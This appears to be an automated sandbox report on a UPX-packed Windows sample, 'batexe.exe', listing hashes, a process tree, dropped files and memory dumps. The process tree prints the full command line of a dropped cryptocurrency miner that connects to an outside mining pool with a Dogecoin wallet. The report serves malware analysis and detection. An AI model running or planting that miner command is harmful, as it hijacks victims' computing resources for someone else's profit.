73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
306s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13/02/2024, 03:59

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4376	b2e.exe
4392	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4392	cpuminer-sse2.exe
4392	cpuminer-sse2.exe
4392	cpuminer-sse2.exe
4392	cpuminer-sse2.exe
4392	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/5000-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5000 wrote to memory of 4376	5000	batexe.exe	74
PID 5000 wrote to memory of 4376	5000	batexe.exe	74
PID 5000 wrote to memory of 4376	5000	batexe.exe	74
PID 4376 wrote to memory of 3604	4376	b2e.exe	75
PID 4376 wrote to memory of 3604	4376	b2e.exe	75
PID 4376 wrote to memory of 3604	4376	b2e.exe	75
PID 3604 wrote to memory of 4392	3604	cmd.exe	78
PID 3604 wrote to memory of 4392	3604	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5000
- C:\Users\Admin\AppData\Local\Temp\B0E1.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B0E1.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B0E1.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4376
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B594.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3604
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4392

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B0E1.tmp\b2e.exe

Filesize
1.5MB

MD5
2a089e8bf6578017b5c976d0dacec1b8

SHA1
111f721c4eb9edb2555114a6c8d95d0bac6bf333

SHA256
7c38ff410d155d55353f7c8d0ccda5c2f63a97eadff37a99228b2cff8efddb50

SHA512
5efbe1daa3034284f68f7045fbbd4e26276165f60dca93d455772d5727deaf9ebc059a8b7b0763c6d00243fc8bbff9a197556837e71a1ecfd71e6919b8a7ecfe

Download Submit
C:\Users\Admin\AppData\Local\Temp\B0E1.tmp\b2e.exe

Filesize
2.6MB

MD5
a5e5df886b731a106be5ffdd55d5eba6

SHA1
49f0ee9c3161b956d8752bd7c4c5351bd2dc0fe6

SHA256
39d92aa54aff7dc78100a84d70011578f98cc2bc56d73853a24a1b39d77c26e7

SHA512
105723e9e49510157b696057447d2278e9bde945c3ab9882a6d364a2406b7080370e05849909f24bcd79f3ea6ec13fa100364d11a150f3b5a708e8762d49817f

Download Submit
C:\Users\Admin\AppData\Local\Temp\B594.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.2MB

MD5
95aa2d828d34d86f93c1b9d19a7cf0ad

SHA1
1c6654cb778f60be8ef7d4586b54f2b8df7600b3

SHA256
8783f412bb5b47ffa40a1800b0f0dc9b30064013abe3f628ce0719af2430dc0a

SHA512
7c5f8f2e6334b254f766c07576e77322f40b5fdf5068aae0abc167c7be6660d78bc8a093c4cf5499292686ef93a71d1f73bf267ded96b24ed9ecc353c7f4738b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.5MB

MD5
d556d2f42952feca6ce9564bc4d61d99

SHA1
7f99cd3752d48b157fb7109c480800baf3414d02

SHA256
5a3db482760efa13421e809b94bd5abcb71cfa3728efaf18a4c6aff5c19b33c4

SHA512
49adfe1503b0c512309ec1363e2217777ec5b8b1af3ffe0d90dd1ed2fef79702bd211a98d9b6d6b425f56238127ed47693b76255ced0a65039534a70a6020db1

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.6MB

MD5
ee3d71edce31ce47e4a027297b0c5a61

SHA1
070357da30e793b37c21170f4e1afc5bb5f27ae3

SHA256
bab3f21fe94d25a4506d3c0f3e6c8d2c00c5517b7fdd22dc4f759a37e45bbee9

SHA512
c3e6f45a203dae7141d9f80504705319e68061839e0b4220a6aee494e8148382eed0d9c6cf7a94cb3522422f9f1bf88693002bbb230dc166d5500dadbb1fae5c

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.9MB

MD5
61a9bea6beefbd731c398a68653170da

SHA1
1675ababaa9a2210a1ae22f748194aa2c98982cb

SHA256
51ec648627e5b19cc5cc50a9465fb7c10d15f5317166ec7eefd79ecd922ad5ec

SHA512
03501e41d252ebe61d5616515abf9b82cdfa1bed805d866473e6371e78bd20feebf7e55708b5a17f23cc29612e6e4886d03613903eeecdb21e769df001aad6d1

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/4376-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4376-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4392-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4392-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4392-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4392-43-0x0000000063030000-0x00000000630C8000-memory.dmp

Filesize
608KB

Download
memory/4392-44-0x0000000001110000-0x00000000029C5000-memory.dmp

Filesize
24.7MB

Download
memory/4392-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4392-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4392-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4392-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4392-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4392-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4392-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4392-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4392-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4392-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4392-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5000-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download